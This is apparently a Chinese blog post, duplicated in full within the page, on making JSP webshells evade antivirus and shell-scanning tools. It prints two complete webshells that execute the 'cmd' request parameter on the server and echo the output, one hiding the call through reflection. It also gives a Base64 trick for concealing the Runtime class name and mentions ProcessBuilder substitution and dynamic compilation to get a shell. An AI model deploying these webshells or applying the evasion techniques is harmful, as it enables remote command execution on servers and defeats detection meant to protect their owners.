[Anti-AV] 从攻防对抗辩证性分析jsp免杀(一)
admin
撰写于 2022年 01月 22 日

从攻防对抗辩证性分析jsp免杀

从最早的最朴素木马

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>


Hello Aur0ra!



<%
//获取cmd参数
String cmd = request.getParameter("cmd"); //执行命令
Process process = Runtime.getRuntime().exec(cmd); //回显
InputStream in = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String tmp = null;
while((tmp = bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>

上面是一个最简单的木马,最初的时候采用的防御姿态就是直接禁止执行了Runtime,这算是第一次防御

Runtime被过滤后,geeker们又会想有没有什么方法可以替代Runtime呢?

于是就直接跟踪Runtime的底层实现,发现是借调了ProcessBuilder的方法,那我们就可以直接采用ProcessBuilder的方法执行

这样也是可以成功执行的,而后又禁止了ProcessBuilder。而后,Geekers又找了Process等来替代,作为防御方,自然得跟进禁止。

最终那几个常用的命令执行类都被ban了。但Geekers怎么甘心,既然你不让我实例化,那我就直接开始反射大法。(这样算是第二次的攻防了)

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@page language="java" pageEncoding="utf-8" %>


Hello Aur0ra!



<%
//获取cmd参数
String cmd = request.getParameter("cmd"); Class clazz = Class.forName("java.lang.Runtime");
Method getRuntime = clazz.getMethod("getRuntime");
Runtime runtime = (Runtime)getRuntime.invoke(null); Method exec = clazz.getMethod("exec", String.class);
Process process = (Process) exec.invoke(runtime, cmd); //回显
InputStream in = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String tmp = null;
while((tmp = bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>

反射就代表了类对象可以被字符串控制,为了避免关键字,上述字符串又可以进行编码的等奇奇怪怪的处理,从而绕过防御

例如将Runtime关键字进行编解码操作,降低查杀率

Class clazz = Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=".getBytes(StandardCharsets.UTF_8))));



用常见的几种shell查杀工具,最多对index.jsp能够查出来Runtime类,把Runtime替换成ProcessBuilder就已经无法查杀了,更不用说利用反射生成的backdoor

动态编译加载

由于字符串的可变性,可以提高免杀,我们可以先将字符串写到一个临时java或者jsp中,当服务器端为热加载时,就可以成功getshell

[Anti-AV] 从攻防对抗辩证性分析jsp免杀(一)的

[Anti-AV] 从攻防对抗辩证性分析jsp免杀(一)

从攻防对抗辩证性分析jsp免杀

从最早的最朴素木马

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>


Hello Aur0ra!



<%
//获取cmd参数
String cmd = request.getParameter("cmd"); //执行命令
Process process = Runtime.getRuntime().exec(cmd); //回显
InputStream in = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String tmp = null;
while((tmp = bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>

上面是一个最简单的木马,最初的时候采用的防御姿态就是直接禁止执行了Runtime,这算是第一次防御

Runtime被过滤后,geeker们又会想有没有什么方法可以替代Runtime呢?

于是就直接跟踪Runtime的底层实现,发现是借调了ProcessBuilder的方法,那我们就可以直接采用ProcessBuilder的方法执行

这样也是可以成功执行的,而后又禁止了ProcessBuilder。而后,Geekers又找了Process等来替代,作为防御方,自然得跟进禁止。

最终那几个常用的命令执行类都被ban了。但Geekers怎么甘心,既然你不让我实例化,那我就直接开始反射大法。(这样算是第二次的攻防了)

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@page language="java" pageEncoding="utf-8" %>


Hello Aur0ra!



<%
//获取cmd参数
String cmd = request.getParameter("cmd"); Class clazz = Class.forName("java.lang.Runtime");
Method getRuntime = clazz.getMethod("getRuntime");
Runtime runtime = (Runtime)getRuntime.invoke(null); Method exec = clazz.getMethod("exec", String.class);
Process process = (Process) exec.invoke(runtime, cmd); //回显
InputStream in = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String tmp = null;
while((tmp = bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>

反射就代表了类对象可以被字符串控制,为了避免关键字,上述字符串又可以进行编码的等奇奇怪怪的处理,从而绕过防御

例如将Runtime关键字进行编解码操作,降低查杀率

Class clazz = Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=".getBytes(StandardCharsets.UTF_8))));



用常见的几种shell查杀工具,最多对index.jsp能够查出来Runtime类,把Runtime替换成ProcessBuilder就已经无法查杀了,更不用说利用反射生成的backdoor

动态编译加载

由于字符串的可变性,可以提高免杀,我们可以先将字符串写到一个临时java或者jsp中,当服务器端为热加载时,就可以成功getshell

[Anti-AV] 从攻防对抗辩证性分析jsp免杀(一)的

赞 (0)

猜您想看

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论